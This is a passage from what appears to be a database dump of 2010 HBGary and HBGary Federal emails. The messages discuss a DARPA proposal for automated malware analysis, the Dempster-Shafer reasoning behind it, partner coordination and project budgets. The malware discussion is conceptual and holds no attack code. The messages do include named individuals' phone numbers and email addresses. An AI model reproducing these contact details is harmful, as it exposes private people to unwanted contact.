scale.&nbsp; The engineer is required to be proficient\r\nwith low level assembly code and operating system internals.&nbsp; Results depend\r\nupon his mental capacity to interpret and model complex program logic and ever\r\nchanging computer states.&nbsp; The most common tools are disassemblers for static\r\nanalysis and interactive debuggers for dynamic analysis.&nbsp; The best engineers\r\nhave a mishmash collection of non-standard homegrown or Internet-collected\r\nplug-ins.&nbsp; Complex malware protection mechanisms such as packing, obfuscation,\r\nencryption and anti-debugging techniques present further challenges to slow\r\ndown and thwart traditional reverse engineering techniques.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWhile it is a\r\nchallenging undertaking, our approach is to research and develop a fully\r\nautomated malware analysis framework that will produce results comparable with\r\nthe best reverse engineering experts and complete the analysis in a fast,\r\nscalable system without human interaction.&nbsp; In the completed mature system the\r\nonly human involvement will be the consumption of reports and other\r\nvisualizations of malware profiles.\r\n\r\n&nbsp;\r\n\r\nWe start with\r\nthe realization that malware is just software in binary form without source\r\ncode.&nbsp; Like any software, malware must execute to do what it does.&nbsp; To execute\r\nit must reside in physical memory (RAM) and must be operated on by the CPU.&nbsp;\r\nThe CPU has two requirements:&nbsp; the operating instructions of the binary must be\r\nin clear text and the CPU does only one thing at a time.&nbsp; A binary that is\r\npacked or encrypted must unpack or unencrypt itself, otherwise the CPU will not\r\noperate on it.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe will solve\r\nthe problems of traditional reverse engineering by running the binary in a\r\ncontrolled, instrumented and automated run trace system that will harvest\r\neverything the CPU does, one operation at a time in sequential fashion.&nbsp; All\r\ninstructions and data will be collected and stored in the exact sequence as\r\nthey happened.&nbsp; Replaying the execution will give an exact reproduction of the\r\nbinary&#8217;s behaviors along with contextual information of interactions with\r\nother digital objects.&nbsp; Physical memory can be imaged and automatically\r\nreconstructed revealing all digital objects in memory at that point in time.&nbsp;\r\nThe binary can be extracted from the memory image &#8211; typically unpacked\r\nand unencrypted &#8211; and analyzed statically along with the contextual\r\ninformation contained within the memory image.&nbsp; From the automated run tracing\r\nand memory reconstruction we will have harvested and collected vast amounts of\r\nlow level data about the binary under test.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe make the\r\nassumption that there is a finite set of possible functions and behaviors that\r\nsoftware and malware can have, notwithstanding that it can be a large set and\r\nsoftware evolves over time.&nbsp; For example, there are only so many ways to\r\ncommunicate over the network, to survive reboot or to write to a file.&nbsp; We will\r\ncreate a set of traits and genomes that predefine observable functions and\r\nbehaviors of software and malware.&nbsp; Using a set of rules to operate on the vast\r\nlow level data collected from the binary run trace and memory reconstruction,\r\nthe system will automatically determine the which traits and genomes exist in\r\neach binary sample.\r\n\r\n&nbsp;\r\n\r\nEven though\r\nthe automated analysis has moved from granular technical data to the higher\r\nlevels of traits and genomes, this level of information is insufficient to\r\ncompletely describe the functions, behaviors and intent of the binary sample.&nbsp;\r\nThe observed traits and genomes will be fed into the Belief Reasoning engine\r\nthat uses prior knowledge to make probabilistic decisions about the binary.&nbsp;\r\nThe user will be presented with visual representations of malware physiology\r\nprofiles.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14219,'aaron_hbgary_com/14219.html'),(4565,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002681.M503983P3547Q4566.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Tech rationale section','Great content. &nbsp;Again, I am taking it word for word and putting it in the proposal.Bob, I think you kid yourself that your not technical. &nbsp;You understand this stuff pretty well.AaronOn Mar 26, 2010, at 9:43 AM, Bob Slapnik wrote:Common practice for binary and malware analysis today requires the manual labor of highly skilled and well paid engineers.&nbsp; Results are slow, unpredictable, expensive and don’t scale.&nbsp; The engineer is required to be proficient with low level assembly code and operating system internals.&nbsp; Results depend upon his mental capacity to interpret and model complex program logic and ever changing computer states.&nbsp; The most common tools are disassemblers for static analysis and interactive debuggers for dynamic analysis.&nbsp; The best engineers have a mishmash collection of non-standard homegrown or Internet-collected plug-ins.&nbsp; Complex malware protection mechanisms such as packing, obfuscation, encryption and anti-debugging techniques present further challenges to slow down and thwart traditional reverse engineering techniques.&nbsp;&nbsp;While it is a challenging undertaking, our approach is to research and develop a fully automated malware analysis framework that will produce results comparable with the best reverse engineering experts and complete the analysis in a fast, scalable system without human interaction.&nbsp; In the completed mature system the only human involvement will be the consumption of reports and other visualizations of malware profiles.&nbsp;We start with the realization that malware is just software in binary form without source code.&nbsp; Like any software, malware must execute to do what it does.&nbsp; To execute it must reside in physical memory (RAM) and must be operated on by the CPU.&nbsp; The CPU has two requirements:&nbsp; the operating instructions of the binary must be in clear text and the CPU does only one thing at a time.&nbsp; A binary that is packed or encrypted must unpack or unencrypt itself, otherwise the CPU will not operate on it.&nbsp;&nbsp;We will solve the problems of traditional reverse engineering by running the binary in a controlled, instrumented and automated run trace system that will harvest everything the CPU does, one operation at a time in sequential fashion.&nbsp; All instructions and data will be collected and stored in the exact sequence as they happened.&nbsp; Replaying the execution will give an exact reproduction of the binary’s behaviors along with contextual information of interactions with other digital objects.&nbsp; Physical memory can be imaged and automatically reconstructed revealing all digital objects in memory at that point in time.&nbsp; The binary can be extracted from the memory image – typically unpacked and unencrypted – and analyzed statically along with the contextual information contained within the memory image.&nbsp; From the automated run tracing and memory reconstruction we will have harvested and collected vast amounts of low level data about the binary under test.&nbsp;&nbsp;We make the assumption that there is a finite set of possible functions and behaviors that software and malware can have, notwithstanding that it can be a large set and software evolves over time.&nbsp; For example, there are only so many ways to communicate over the network, to survive reboot or to write to a file.&nbsp; We will create a set of traits and genomes that predefine observable functions and behaviors of software and malware.&nbsp; Using a set of rules to operate on the vast low level data collected from the binary run trace and memory reconstruction, the system will automatically determine the which traits and genomes exist in each binary sample.&nbsp;Even though the automated analysis has moved from granular technical data to the higher levels of traits and genomes, this level of information is insufficient to completely describe the functions, behaviors and intent of the binary sample.&nbsp; The observed traits and genomes will be fed into the Belief Reasoning engine that uses prior knowledge to make probabilistic decisions about the binary.&nbsp; The user will be presented with visual representations of malware physiology profiles.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13366,'aaron_hbgary_com/13366.html'),(4566,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002681.M55331P3547Q4564.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Pitch','Today I really need to focus on making sure our key points come out throughout the proposal. &nbsp;Bob if you finish up the SMART and BRAIN sections that will allow me to do that today.So malware comes in, gets poked and proded in pre-processing to prepare the specimen for manual analysis. &nbsp;It gets put into the database and flagged as new. &nbsp;SMART queries the database when it has a free job for anything new and anything that has been prioritized to the top of the stack. &nbsp;SMART analyzes, records it, runs the traits and genomes libraries against it to define what the known discrete functions and behaviors are and what aggregated functions and behaviors are. &nbsp;The result of SMART is a malware physiology profile that describes the aggregate and discrete functions and behaviors of malware. &nbsp;As we get better at exercising code branches we will analyze more and more of the code. &nbsp;Anything that was unidentified gets flagged for manual analysis.BRAIN is there to bring us to full automation. &nbsp;Given an analysis of knowns and unknowns, good and bad, we can train the BRAIN to analyze unknown functions and behaviors and make probability decisions on what those are without any manual analysis.We can deliver significant capability without parts of SMART and without all of BRAIN, we just lessen the footprint of code we analyze and we loose complete automation.We don\'t highlight enough the cyber physiology profile which is the end result of the analysis.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12620,'aaron_hbgary_com/12620.html'),(4567,'2010-03-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002681.M744141P3547Q4567.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tech rationale section','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI am technical only at a conceptual level.&nbsp; I don&#8217;t like\r\ntouching technology.&nbsp; I can go into spaz attacks just trying to find the right software\r\nsettings on my laptop.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 26, 2010 9:51 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Tech rationale section\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat content. &nbsp;Again, I am taking it word for word and\r\nputting it in the proposal.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob, I think you kid yourself that your not technical.\r\n&nbsp;You understand this stuff pretty well.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 9:43 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCommon practice for binary and malware\r\nanalysis today requires the manual labor of highly skilled and well paid\r\nengineers.&nbsp; Results are slow, unpredictable, expensive and don&#8217;t\r\nscale.&nbsp; The engineer is required to be proficient with low level assembly\r\ncode and operating system internals.&nbsp; Results depend upon his mental\r\ncapacity to interpret and model complex program logic and ever changing\r\ncomputer states.&nbsp; The most common tools are disassemblers for static\r\nanalysis and interactive debuggers for dynamic analysis.&nbsp; The best\r\nengineers have a mishmash collection of non-standard homegrown or\r\nInternet-collected plug-ins.&nbsp; Complex malware protection mechanisms such\r\nas packing, obfuscation, encryption and anti-debugging techniques present\r\nfurther challenges to slow down and thwart traditional reverse engineering\r\ntechniques.&nbsp;\r\n\r\n&nbsp;\r\n\r\nWhile it is a challenging undertaking, our\r\napproach is to research and develop a fully automated malware analysis\r\nframework that will produce results comparable with the best reverse engineering\r\nexperts and complete the analysis in a fast, scalable system without human\r\ninteraction.&nbsp; In the completed mature system the only human involvement\r\nwill be the consumption of reports and other visualizations of malware profiles.\r\n\r\n&nbsp;\r\n\r\nWe start with the realization that malware\r\nis just software in binary form without source code.&nbsp; Like any software,\r\nmalware must execute to do what it does.&nbsp; To execute it must reside in\r\nphysical memory (RAM) and must be operated on by the CPU.&nbsp; The CPU has two\r\nrequirements:&nbsp; the operating instructions of the binary must be in clear\r\ntext and the CPU does only one thing at a time.&nbsp; A binary that is packed\r\nor encrypted must unpack or unencrypt itself, otherwise the CPU will not\r\noperate on it.&nbsp;\r\n\r\n&nbsp;\r\n\r\nWe will solve the problems of traditional\r\nreverse engineering by running the binary in a controlled, instrumented and\r\nautomated run trace system that will harvest everything the CPU does, one\r\noperation at a time in sequential fashion.&nbsp; All instructions and data will\r\nbe collected and stored in the exact sequence as they happened.&nbsp; Replaying\r\nthe execution will give an exact reproduction of the binary&#8217;s behaviors along\r\nwith contextual information of interactions with other digital objects.&nbsp;\r\nPhysical memory can be imaged and automatically reconstructed revealing all\r\ndigital objects in memory at that point in time.&nbsp; The binary can be\r\nextracted from the memory image &#8211; typically unpacked and unencrypted &#8211; and\r\nanalyzed statically along with the contextual information contained within the\r\nmemory image.&nbsp; From the automated run tracing and memory reconstruction we\r\nwill have harvested and collected vast amounts of low level data about the\r\nbinary under test.&nbsp;\r\n\r\n&nbsp;\r\n\r\nWe make the assumption that there is a\r\nfinite set of possible functions and behaviors that software and malware can\r\nhave, notwithstanding that it can be a large set and software evolves over\r\ntime.&nbsp; For example, there are only so many ways to communicate over the\r\nnetwork, to survive reboot or to write to a file.&nbsp; We will create a set of\r\ntraits and genomes that predefine observable functions and behaviors of\r\nsoftware and malware.&nbsp; Using a set of rules to operate on the vast low\r\nlevel data collected from the binary run trace and memory reconstruction, the\r\nsystem will automatically determine the which traits and genomes exist in each\r\nbinary sample.\r\n\r\n&nbsp;\r\n\r\nEven though the automated analysis has\r\nmoved from granular technical data to the higher levels of traits and genomes,\r\nthis level of information is insufficient to completely describe the functions,\r\nbehaviors and intent of the binary sample.&nbsp; The observed traits and\r\ngenomes will be fed into the Belief Reasoning engine that uses prior knowledge\r\nto make probabilistic decisions about the binary.&nbsp; The user will be\r\npresented with visual representations of malware physiology profiles.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/25/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8747,'aaron_hbgary_com/8747.html'),(4568,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002688.M244729P3547Q4568.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Some updates','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6569,'aaron_hbgary_com/6569.html'),(4569,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002688.M651392P3547Q4569.eml','\"Jeff m\" <jeffmac710@gmail.com>','Have a favor to ask','Can you give me a brief description or framework on how dempster-schaffe could be used to detect previously unidentified traits and patterns in malware.  Given you have an existing repository of known traits and patterns as well as a bunch of low level data on all the representations of the malware as it was recorded in memory and in the registers.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15532,'aaron_hbgary_com/15532.html'),(4570,'2010-03-26','\"Jeff m\" <jeffmac710@gmail.com>','/aaron@hbgary.com/new/1297002688.M843866P3547Q4570.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Have a favor to ask','I should get paid for this.So we have an input layer that consists of nodes that are the traits of software.  The output layer would consist of nodes that represent what the software is, i.e. malware, spyware, virus, trojan, safe software, etc.\r\nThe DS network would be able to show unknowns by having all of the input nodes having a high value for unknown.  Viewing the internal structure of the belief network will reveal where the logic breaks down in trying to identify the unknown.  For example, if the input layer shows that there is no significant traits that are discernible then this would indicate that there is a lack of information on this type of software.  There could also be a mid level indicator that would show there is a lack of information on who created this software, which in turn would fail to identify this as safe software.  Basically, the network itself is a tool in preforming analysis on the data.  Another approach is to use data mining to correlate the unknowns to potentially knowns.\r\njeffOn Fri, Mar 26, 2010 at 8:25 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCan you give me a brief description or framework on how dempster-schaffe could be used to detect previously unidentified traits and patterns in malware.  Given you have an existing repository of known traits and patterns as well as a bunch of low level data on all the representations of the malware as it was recorded in memory and in the registers.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',6326,'aaron_hbgary_com/6326.html'),(4571,'2010-03-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002689.M270467P3547Q4572.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Have a favor to ask','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCashing in goodwill is a wonderful thing&#8230;&#8230;&#8230;\r\n\r\n&nbsp;\r\n\r\nWhat does &#8220;DS network&#8221; mean?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 26, 2010 10:50 AM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Have a favor to ask\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nJeff\r\nm &lt;jeffmac710@gmail.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMarch\r\n26, 2010 10:47:50 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRe: Have a favor to ask\r\n\r\n\r\n\r\n\r\nI should get paid for this.\r\n\r\nSo we have an input layer that consists of nodes that are the traits of\r\nsoftware.&nbsp; The output layer would consist of nodes that represent what the\r\nsoftware is, i.e. malware, spyware, virus, trojan, safe software, etc.\r\n\r\nThe DS network would be able to show unknowns by having all of the input nodes\r\nhaving a high value for unknown.&nbsp; Viewing the internal structure of the\r\nbelief network will reveal where the logic breaks down in trying to identify\r\nthe unknown.&nbsp; For example, if the input layer shows that there is no\r\nsignificant traits that are discernible then this would indicate that there is\r\na lack of information on this type of software.&nbsp; There could also be a mid\r\nlevel indicator that would show there is a lack of information on who created\r\nthis software, which in turn would fail to identify this as safe\r\nsoftware.&nbsp; Basically, the network itself is a tool in preforming analysis\r\non the data.&nbsp; Another approach is to use data mining to correlate the\r\nunknowns to potentially knowns.\r\n\r\njeff\r\n\r\n\r\n\r\nOn Fri, Mar 26, 2010 at 8:25 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan you give me a brief\r\ndescription or framework on how dempster-schaffe could be used to detect\r\npreviously unidentified traits and patterns in malware. &nbsp;Given you have an\r\nexisting repository of known traits and patterns as well as a bunch of low\r\nlevel data on all the representations of the malware as it was recorded in\r\nmemory and in the registers.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/26/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',666,'aaron_hbgary_com/666.html'),(4572,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002689.M453691P3547Q4573.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Have a favor to ask','Dempster-schafferFrom my iPhoneOn Mar 26, 2010, at 10:55 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCashing in goodwill is a wonderful thing………\r\n\r\n \r\n\r\nWhat does “DS network” mean?\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 26, 2010 10:50 AM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Have a favor to ask\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nJeff\r\nm &lt;jeffmac710@gmail.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMarch\r\n26, 2010 10:47:50 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRe: Have a favor to ask\r\n\r\n\r\n\r\n\r\nI should get paid for this.\r\n\r\nSo we have an input layer that consists of nodes that are the traits of\r\nsoftware.  The output layer would consist of nodes that represent what the\r\nsoftware is, i.e. malware, spyware, virus, trojan, safe software, etc.\r\n\r\nThe DS network would be able to show unknowns by having all of the input nodes\r\nhaving a high value for unknown.  Viewing the internal structure of the\r\nbelief network will reveal where the logic breaks down in trying to identify\r\nthe unknown.  For example, if the input layer shows that there is no\r\nsignificant traits that are discernible then this would indicate that there is\r\na lack of information on this type of software.  There could also be a mid\r\nlevel indicator that would show there is a lack of information on who created\r\nthis software, which in turn would fail to identify this as safe\r\nsoftware.  Basically, the network itself is a tool in preforming analysis\r\non the data.  Another approach is to use data mining to correlate the\r\nunknowns to potentially knowns.\r\n\r\njeff\r\n\r\n\r\n\r\nOn Fri, Mar 26, 2010 at 8:25 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan you give me a brief\r\ndescription or framework on how dempster-schaffe could be used to detect\r\npreviously unidentified traits and patterns in malware.  Given you have an\r\nexisting repository of known traits and patterns as well as a bunch of low\r\nlevel data on all the representations of the malware as it was recorded in\r\nmemory and in the registers.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/26/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9378,'aaron_hbgary_com/9378.html'),(4573,'2010-03-26','\"Mankin, Mark\" <mark.mankin@fidelissecurity.com>','/aaron@hbgary.com/new/1297002689.M691049P3547Q4574.eml','\"Aaron Barr\" <aaron@hbgary.com>','NRL & DARPA','\r\n\r\n\r\n\r\n\r\nAaron -\r\n&nbsp;\r\nYou have the integration piece from David so let me know if there is anything else you may need by 3-29.\r\n&nbsp;\r\n&nbsp;\r\nV/rMark\r\n\r\n\r\nFrom: Mankin, MarkSent: Thu 3/11/2010 10:11 AMTo: Aaron BarrSubject: RE: NRL &amp; DARPA\r\n\r\n\r\nHi Aaron -\r\n&nbsp;\r\nI talked to David and we will have something to you in the next day or two.&nbsp;\r\n&nbsp;\r\nThe only times I can\'t meet next week are Mon (9 - 11 am) and Tues (9 - 1 pm).&nbsp;&nbsp; Anytimes outside of that I\'m open as of today.\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Mankin, MarkSent: Thu 3/11/2010 8:29 AMTo: Aaron BarrSubject: RE: NRL &amp; DARPA\r\n\r\n\r\nHi Aaron -\r\n&nbsp;\r\nJust wanted to see if there is anything you needed to help with NRL or DARPA.&nbsp;&nbsp; I know your swamped but let me know if you need any help.\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tue 3/2/2010 8:42 AMTo: Mankin, MarkSubject: Re: NRL &amp; DARPA\r\nHey Mark, \r\n\r\nThanks. &nbsp;Not at the moment. &nbsp;I have a good amount of literature that will help at the moment and a good understanding of the integration potential.\r\n\r\nHere is status. &nbsp;We are writing statements of work today for the DARPA effort. &nbsp;I am slammed with it right now. &nbsp;This week I am focusing on getting most of the DARPA content done, since it is a full proposal effort. &nbsp;Next week most of the technical material should be written so I can focus on pulling some of that content out and writing the whitepaper for NRL. &nbsp;Its a lot... divide and conquer. &nbsp;If you see Van Putte tell him a few extra weeks would have been nice... ;)\r\n\r\nAs I get the SOW written I will have a better idea what I might need.\r\n\r\nAaron\r\n\r\n\r\nOn Mar 2, 2010, at 8:32 AM, Mankin, Mark wrote:\r\n\r\n\r\n\r\nAaron -\r\n&nbsp;\r\nI will be at DARPA today.&nbsp;&nbsp; Is there any action items that you and David discussed&nbsp;between Fidelis &amp; HB Gary on these efforts?\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Mankin, MarkSent: Fri 2/26/2010 7:07 AMTo: aaron@hbgary.comSubject: NRL &amp; DARPA\r\n\r\nAaron -\r\n&nbsp;\r\nIt was a pleasure meeting you, yesterday.&nbsp;&nbsp;&nbsp; Let me know if you want to get together next week to discuss the NRL and DARPA RFP\'s you mentioned.\r\n&nbsp;\r\nHave a great weekend!\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',14897,'aaron_hbgary_com/14897.html'),(4574,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002689.M75284P3547Q4571.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Have a favor to ask','Begin forwarded message:From: Jeff m &lt;jeffmac710@gmail.com&gt;Date: March 26, 2010 10:47:50 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Have a favor to askI should get paid for this.So we have an input layer that consists of nodes that are the traits of software.&nbsp; The output layer would consist of nodes that represent what the software is, i.e. malware, spyware, virus, trojan, safe software, etc.\r\nThe DS network would be able to show unknowns by having all of the input nodes having a high value for unknown.&nbsp; Viewing the internal structure of the belief network will reveal where the logic breaks down in trying to identify the unknown.&nbsp; For example, if the input layer shows that there is no significant traits that are discernible then this would indicate that there is a lack of information on this type of software.&nbsp; There could also be a mid level indicator that would show there is a lack of information on who created this software, which in turn would fail to identify this as safe software.&nbsp; Basically, the network itself is a tool in preforming analysis on the data.&nbsp; Another approach is to use data mining to correlate the unknowns to potentially knowns.\r\njeffOn Fri, Mar 26, 2010 at 8:25 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCan you give me a brief description or framework on how dempster-schaffe could be used to detect previously unidentified traits and patterns in malware. &nbsp;Given you have an existing repository of known traits and patterns as well as a bunch of low level data on all the representations of the malware as it was recorded in memory and in the registers.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10237,'aaron_hbgary_com/10237.html'),(4575,'2010-03-26','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297002689.M910197P3547Q4575.eml','john.edwards@agilex.com,john.edwards@agilex.com,','Voicemail re:services engagement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n \r\n\r\nThanks for the voicemail yesterday and I hope you’re\r\ndoing well.  Sorry for the delayed response as I just returned from an\r\nintrusion investigation where an HBGary engineer and I booked over 250 hours of\r\nwork in 9 days.  I’m trying to play catch up now for the last 10\r\ndays.   I’m CC’ing Penny and Aaron Barr as HBGary Federal\r\nmight be interested in pursuing the pen-test opportunity with you.\r\n\r\n \r\n\r\n \r\n\r\nBest,\r\n\r\nRich  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',580,'aaron_hbgary_com/580.html'),(4576,'2010-03-26','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002690.M282795P3547Q4577.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Fwd: Added Comment','\r\n\r\n\r\n  \r\n\r\n\r\nMorning Aaron,\r\n\r\nI want to be sure I understand the pricing structure.&nbsp; The original\r\nsubmittal listed all out years as options.\r\nI assume I\'m giving you the same kind of breakdown, only with the lower\r\nbudgets.&nbsp; That is what you\r\nare expecting, correct?\r\n\r\nBest,\r\nkat\r\n\r\nOn 3/25/2010 7:15 PM, Aaron Barr wrote:\r\nI stand corrected.\r\n  \r\n  \r\n  Aaron\r\n  \r\n  Begin forwarded message:\r\n  \r\n  \r\n    From:\r\n    Ted Vera &lt;ted@hbgary.com&gt;\r\n    \r\n    Date:\r\n    March 25, 2010\r\n10:14:49 PM EDT\r\n    \r\n    To:\r\n    Aaron Barr &lt;aaron@hbgary.com&gt;\r\n    \r\n    Subject:\r\n    Re: Added\r\nComment\r\n    \r\n    \r\n    \r\n    If it is a priced option we should include it. Just label it\r\nas an option.\r\n    \r\n    \r\n    \r\n    \r\n    \r\nOn Mar 25, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n    \r\n    \r\n    \r\n      So as not to confuse DARPA please only include the first 2\r\nyears in your sealed packages. &nbsp;I will discuss the priced options\r\nsomewhere the proposal but don\'t want to include the costing for those.\r\n      \r\n      \r\n      Aaron\r\n      \r\n      On Mar 25, 2010, at 9:46 PM, Kathryn Tracy wrote:\r\n      \r\n      \r\n        Hi Aaron,\r\n        \r\nThe bottom line numbers are as follows:\r\n        \r\nyr 1 $499,997\r\nyr2 $499,925\r\nyr3 $543,018\r\nyr4 $557,007\r\nTotal $2,099,947\r\n        \r\nI will follow up with the spreadsheet early tomorrow.\r\nthanks,\r\nkat\r\nOn 3/25/2010 2:44 PM, Aaron Barr wrote:\r\n        \r\n          As you can when 